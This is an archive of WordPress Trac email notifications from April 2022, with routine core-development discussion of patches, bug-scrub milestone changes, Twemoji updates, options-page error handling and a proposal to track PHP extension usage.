<059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.9cc56e24ae6621c941978fa80373d0eb@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Changes (by andrija): * Attachment "55530.3.diff" added. This diff only changes the default value of `use_desc_for_title` to false (`0`) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 01:54:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 01:54:51 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.c26499f75ed1bc819da8a847a610cc79@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Comment (by andrija): Ok, thank you for the additional information. The latest diff changes the default value to false (`0`) which means no title attribute. If someone needs the title they can change the `$args` value to true (`1`) and if they need to manipulate it there's a filter in the category Walker. I guess this was the shortest possible diff .) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 02:02:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 02:02:30 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.eb562500be4947c3819fc3edaf3acb1f@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing => has-patch needs-testing commit Comment: [attachment:"55078.5.diff"] looks good for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 02:21:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 02:21:58 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.6d0a52796d463024c85949905fcff708@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by spacedmonkey): * keywords: good-first-bug has-patch => good-first-bug has-patch commit * owner: (none) => spacedmonkey * status: new => assigned * milestone: Awaiting Review => 6.0 Comment: Patch looks good. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 03:49:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 03:49:57 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.5bfe57ec746dbcd121c632ba6a7753ab@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by peterwilsoncc): Are you able to run a test looping this 1000 times and making sure the query is indeed quicker? I can see the speed difference in your local testing but that could just be random variations. It seems odd to me that the query wouldn't be optimised by the server given the ID is a primary unique key. Probably best to check with 10 IDs as that's typical of a front end request. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 03:54:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 03:54:31 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <073.8156a077a6153e3932a1e62c98accb78@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term -----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch close | Focuses: -----------------------------+--------------------- Changes (by peterwilsoncc): * keywords: has-patch => has-patch close Comment: I don't think it wise to remove these. A goal of WP is to maintain backward compatibility, removing something that's only been around for a release is still a backward compatibility break. For the REST API there's the v2 space, unfortunately that's not available for admin-ajax action. If anything, I think adding something in one release only to remove it in the next is a bigger breach of the stated goal than it is to remove something that's proven to be unused. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 03:55:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 03:55:51 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.4e9c374481e1b89c203eae213f2eeb94@wordpress.org> #55395: Update Twemoji for 6.0 --------------------------------+----------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: accepted Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: Keywords: needs-codex commit | Focuses: --------------------------------+----------------------- Changes (by kraftbj): * keywords: needs-codex => needs-codex commit Comment: Assets added in r18735-dotorg. The CDN is ready: https://s.w.org/images/core/emoji/14.0.0/svg/1fae0.svg -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 03:57:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 03:57:31 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.2675ab20ba69034d4bb45786f4f1a3f1@wordpress.org> #55395: Update Twemoji for 6.0 --------------------------------+----------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: accepted Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: Keywords: needs-codex commit | Focuses: --------------------------------+----------------------- Comment (by kraftbj): Per feedback in the PR, there is some doubt if using the {right|left}hand in the detection script is proper due to a comment there mentioning that only older emoji should be used. In the PR, @peterwilsoncc and I agree that we should land this for beta 1, then do intentional testing on older devices/operating systems so any updates can be made during the beta window. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 03:59:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 03:59:36 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.4d85cb5670fec3eb44499b2f1ec084a0@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: Awaiting Review => 6.0 Comment: > I guess this was the shortest possible diff Almost :) The docblock needs updating as well (it says "Default 1.") -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 04:01:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 04:01:19 -0000 Subject: [wp-trac] [WordPress Trac] #55554: Block heading disappears when it's white color In-Reply-To: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> References: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> Message-ID: <068.e733c1ec1d9e26c269a64d0b65a516d0@wordpress.org> #55554: Block heading disappears when it's white color -------------------------------+-------------------------------- Reporter: mehedi890 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: ui, accessibility -------------------------------+-------------------------------- Comment (by mehedi890): Hi, Actually, I mean that when I choose the white color the text is there but not readable and when I change the font size or something, I can't see what's going on there. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55554#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 04:31:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 04:31:51 -0000 Subject: [wp-trac] [WordPress Trac] #45438: All Settings page (options.php), message when saved In-Reply-To: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> References: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> Message-ID: <067.86b0e706d634e7d773506245064db65a@wordpress.org> #45438: All Settings page (options.php), message when saved -------------------------------------------------+------------------------- Reporter: ishitaka | Owner: | SergeyBiryukov Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Options, Meta APIs | Version: Severity: minor | Resolution: Keywords: good-first-bug needs-testing has- | Focuses: patch | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * Attachment "45438.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45438> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 04:45:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 04:45:17 -0000 Subject: [wp-trac] [WordPress Trac] #45438: All Settings page (options.php), message when saved In-Reply-To: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> References: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> Message-ID: <067.ed49953749d9265820b18e56cf175f21@wordpress.org> #45438: All Settings page (options.php), message when saved -------------------------------------------------+------------------------- Reporter: ishitaka | Owner: | SergeyBiryukov Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Options, Meta APIs | Version: Severity: minor | Resolution: Keywords: good-first-bug needs-testing has- | Focuses: patch | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): [attachment:"45438.2.patch"] looks good, [attachment:"45438.diff"] is identical with a minor coding standards fix. Testing notes **System** WordPress 6.0-alpha-52448-src PHP-FPM 7.4 nginx PHP Config: `max_input_vars` set to `10`. **Before** * Saving `wp-admin/options.php` shows as successful * Database did not update due to exceeding `max_input_vars` **After** * Saving `wp-admin/options.php` shows an error message * Behaviour unchanged after removing change to `max_input_vars` ✓ working as expected -- Ticket URL: <https://core.trac.wordpress.org/ticket/45438#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 04:46:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 04:46:52 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.2c0caedb4dc52f3e085e30ea0b6defdd@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation | javascript, administration -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * keywords: has-screenshots input-validation has-patch => has-screenshots input-validation -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 04:54:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 04:54:48 -0000 Subject: [wp-trac] [WordPress Trac] #53049: Add changelog release notes to auto update email notifications In-Reply-To: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> References: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> Message-ID: <069.ddcafe2892d6aa4ba3bfb3591765a847@wordpress.org> #53049: Add changelog release notes to auto update email notifications -----------------------------+----------------------------- Reporter: JosVelasco | Owner: josvelasco Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: administration -----------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: has-patch => needs-patch Comment: I added some notes to the linked pull request yesterday. It needs some internationalisation improvements but generally looks sound. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53049#comment:47> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:07:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:07:44 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.70707b4760524f3109f9577bc7fd531b@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+----------------------- Comment (by costdev): Replying to [comment:30 SergeyBiryukov]: > Thanks everyone! > > I think some of the new sentences can be improved a bit further: > > * "It is also suggested that you should review your Privacy Policy from time to time" → "You should also review your Privacy Policy from time to time" **or** "It is also suggested that you review your Privacy Policy from time to time". > * "Before getting started, some information on the database is needed. You will need to know the following items before proceeding." → "Before getting started, some information on the database is required. You will need to know the following items before proceeding." (Replace "''needed''" with "''required''" to avoid tautology.) For the first sentence, I think the first suggestion works best: You should also review your Privacy Policy from time to time. For the second sentence: - I wonder why it says "some information on the database is required" **and** "you will need to know the following. - "before getting started"..."before proceeding". Another tautology. Would this be cleaner? Before getting started, you will need to know the following items. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:32> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:17:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:17:00 -0000 Subject: [wp-trac] [WordPress Trac] #55347: There should be filter for image tag in wp_filter_content_tags() In-Reply-To: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> References: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> Message-ID: <066.770490ba444d82f053609e0da660587a@wordpress.org> #55347: There should be filter for image tag in wp_filter_content_tags() ---------------------------------------------+----------------------- Reporter: pbearne | Owner: flixos90 Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+----------------------- Comment (by peterwilsoncc): In [changeset:"53149" 53149]: {{{ #!CommitTicketReference repository="" revision="53149" Media: Run the `wp_content_img_tag` filter once per image. Prevent multiple identical `img` tags in a block of content causing the `wp_content_img_tag` filter to fire multiple times for that image. Follow up to [53028]. Props superpoincare, flixos90, pbearne, peterwilsoncc. Fixes #55510. See #55347. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55347#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:17:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:17:00 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.23d4328c6e3d3db9dfade4816a55ec54@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags --------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53149" 53149]: {{{ #!CommitTicketReference repository="" revision="53149" Media: Run the `wp_content_img_tag` filter once per image. Prevent multiple identical `img` tags in a block of content causing the `wp_content_img_tag` filter to fire multiple times for that image. Follow up to [53028]. Props superpoincare, flixos90, pbearne, peterwilsoncc. Fixes #55510. See #55347. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:18:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:18:55 -0000 Subject: [wp-trac] [WordPress Trac] #36971: Show readme.txt from Themes In-Reply-To: <054.6e786622bb1f2100097568ec84e68a17@wordpress.org> References: <054.6e786622bb1f2100097568ec84e68a17@wordpress.org> Message-ID: <069.ae313ed92b029ed8c134e2e982627518@wordpress.org> #36971: Show readme.txt from Themes -------------------------+----------------------------- Reporter: zodiac1978 | Owner: SergeyBiryukov Type: enhancement | Status: accepted Priority: normal | Milestone: Future Release Component: Themes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui -------------------------+----------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Thanks @zodiac1978 for reporting this. With Beta 01 coming into effect by the end of today and with the lack of progress we are updating the milestone on this ticket to Future Release. Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/36971#comment:41> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:32:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:32:12 -0000 Subject: [wp-trac] [WordPress Trac] #38197: Update Pingback function To Add Return In-Reply-To: <052.5dccca3f7b2d0dfeda445aede5477115@wordpress.org> References: <052.5dccca3f7b2d0dfeda445aede5477115@wordpress.org> Message-ID: <067.b51dd3b85d4515e3dad8245864eadcd3@wordpress.org> #38197: Update Pingback function To Add Return -------------------------------------------------+------------------------- Reporter: dshanske | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Future | Release Component: Pings/Trackbacks | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: unit-tests | performance -------------------------------------------------+------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Thanks @dshanske for reporting this. We recently reviewed this ticket during a [https://wordpress.slack.com/archives/C02RQBWTW/p1649740586230479 recent bug-scrub session]. Noting that Beta 01 coming into effect by the end of today, the ticket is still awaiting unit tests and some additional work. Based on the feedback from the team we are updating the milestone of the ticket. Props to @peterwilsoncc Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/38197#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:52:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:52:53 -0000 Subject: [wp-trac] [WordPress Trac] #48116: Proposal: Tracking PHP Extension Usage In-Reply-To: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> References: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> Message-ID: <063.71e313c749fa36b8904a3f73fa88beec@wordpress.org> #48116: Proposal: Tracking PHP Extension Usage ------------------------------------+------------------------------ Reporter: dd32 | Owner: adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: dev-feedback has-patch | Focuses: ------------------------------------+------------------------------ Changes (by mikeschroder): * keywords: dev-feedback has-patch needs-refresh => dev-feedback has-patch Comment: We checked into this ticket in a 6.0 [https://wordpress.slack.com/archives/C02RQBWTW/p1649741803127829 bug scrub session today]. Under the assumption that the PR is the most recent version of this: I tested, and the patch generated from the PR seems to apply as expected. Folks present thought that the most recent PR seemed reasonable, but review from Meta was needed to make sure the format looks good. @dd32 Might you or someone else from the team have a chance to check to see if it looks ready? -- Ticket URL: <https://core.trac.wordpress.org/ticket/48116#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:54:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:54:44 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.6003cdb67c051598dfcaaa67b9cdc45d@wordpress.org> #55395: Update Twemoji for 6.0 --------------------------------+---------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: fixed Keywords: needs-codex commit | Focuses: --------------------------------+---------------------- Changes (by peterwilsoncc): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53150" 53150]: {{{ #!CommitTicketReference repository="" revision="53150" Emoji: Update the Twemoji to version 14.0.2. This version introduces support for the latest Emoji added in Emoji 14. "Insert witty comment newly supported emoji." Props kraftbj, desrosj, dd32, milana_cap. Fixes #55395. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 05:57:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 05:57:58 -0000 Subject: [wp-trac] [WordPress Trac] #50061: Image_meta original_image as valid image_size In-Reply-To: <051.fcac2d537ccf7d42b6074e7bff75a5fd@wordpress.org> References: <051.fcac2d537ccf7d42b6074e7bff75a5fd@wordpress.org> Message-ID: <066.183f29464d90c9f27c331bd129bffd00@wordpress.org> #50061: Image_meta original_image as valid image_size --------------------------+----------------------------- Reporter: tomcent | Owner: antpb Type: enhancement | Status: accepted Priority: normal | Milestone: Future Release Component: Media | Version: 5.3 Severity: normal | Resolution: Keywords: dev-feedback | Focuses: --------------------------+----------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Thanks @tomcent for reporting this. We reviewed this ticket during a recent bug-scrub session. Based on the feedback received from the team and considering Beta 01 coming into effect by the end of today we are updating the milestone. With no patch and @adamsilverstein [https://core.trac.wordpress.org/ticket/50061#comment:5 last comment] it is unlikely to be progressed within 6.0. Props to @peterwilsoncc & @costdev Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/50061#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 06:04:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 06:04:35 -0000 Subject: [wp-trac] [WordPress Trac] #50523: Redesign the admin Image Editor In-Reply-To: <051.74d9cdaaf425ce95ec1174a13630090b@wordpress.org> References: <051.74d9cdaaf425ce95ec1174a13630090b@wordpress.org> Message-ID: <066.bc78f356490ac1798dac6c78bcf2dc25@wordpress.org> #50523: Redesign the admin Image Editor --------------------------+-------------------------------- Reporter: afercia | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: Future Release Component: Media | Version: Severity: normal | Resolution: Keywords: needs-design | Focuses: ui, accessibility --------------------------+-------------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Thanks @afercia for reporting this. We reviewed this ticket during a recent core bug-scrub session. Considering Beta 01 coming to effect by the end of the day and the feedback received from the team we are updating the milestone to 6.1 to stay aligned with Anthony's [https://core.trac.wordpress.org/ticket/50523#comment:16 most recent comment]. It also helps everyone and the reports stay organized in such way. Props to @costdev & @peterwilsoncc Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/50523#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 06:06:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 06:06:00 -0000 Subject: [wp-trac] [WordPress Trac] #45438: All Settings page (options.php), message when saved In-Reply-To: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> References: <052.82eaf307f6e2e1b282028b91ee06a28b@wordpress.org> Message-ID: <067.54de185fca900f3883c451bf40f550c2@wordpress.org> #45438: All Settings page (options.php), message when saved -------------------------------------------------+------------------------- Reporter: ishitaka | Owner: | SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Options, Meta APIs | Version: Severity: minor | Resolution: fixed Keywords: good-first-bug needs-testing has- | Focuses: patch | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53151" 53151]: {{{ #!CommitTicketReference repository="" revision="53151" Options: Show error when updating all options exceeds `max_input_vars`. On sites with a large number of options, the number of inputs when saving all options via the /wp-admin/options.php page may exceed PHP's `max_input_vars` setting, this will prevent saving. An error is now shown if this is the case. Props ishitaka, jorbin, maguijo, pento, sergeybiryukov. Fixes #45438. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/45438#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 06:26:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 06:26:49 -0000 Subject: [wp-trac] [WordPress Trac] #48116: Proposal: Tracking PHP Extension Usage In-Reply-To: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> References: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> Message-ID: <063.3723fe89567f6e4b33c7651bb69047b6@wordpress.org> #48116: Proposal: Tracking PHP Extension Usage ------------------------------------+------------------------------ Reporter: dd32 | Owner: adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: dev-feedback has-patch | Focuses: ------------------------------------+------------------------------ Comment (by dd32): My comments from Comment [comment:12] still stand. PR 1096 is [attachment:"48116.2.diff"] which has the "benefit"/"downside" that: - WordPress.org has to parse the gd/imagick arrays into what data to record. - We don't really know what data will be in those payloads in the future and whether it might potentially contain PII data. [attachment:"48116.3.diff"] is an iteration on that, post comment [comment:12] suggestions that: - Shifts the logic to the client for GD, looking for `WebP, AVIS, HEIF` support. - Passes the All the Imageick supported formats through, instead of selecting which ones. Perhaps an `array_intersect` with `$supported_formats` is needed (see next) - Comment [comment:21] still applies. It seems that the second `$gd_supported_formats` with static array was supposed to be called `$supported_formats` perhaps? Doing the parsing on WordPress.org (per [attachment:"48116.2.diff"]) has some benefits though; - If new versions of the libraries change the format they report in, we can handle it there. - If we decide we need to record data about some new flag that is present in the GD/Imagick data, we can do so. That all being said, I now question what flags need to be sent/recorded. Do we really need to know how many sites support WebP and AVIF? Yes, it would've been nice to know before we implemented webp support how many sites could generate it, but that time has passed.. Likewise for PDF support (Which [attachment:"48116.3.diff"] might prevent if GD supports it in the future?) So perhaps doing the parsing on the API side is the best course of action, and we just discard the data until a time comes where we actually want to know the stats it will provide? Increasing the payload size also has detrimental impacts upon the processing speed of the API requests and time it takes to run, also the length of time it takes the stats processing to run, etc. So... - I'm okay with [attachment:"48116.2.diff"] or [attachment:"48116.3.diff"] (with fixes) - I question the need for the GD/Imagick data, but no harm - Please ensure that the payload size doesn't bloat up with irrelevant information - Please define the stats wanted to be recorded 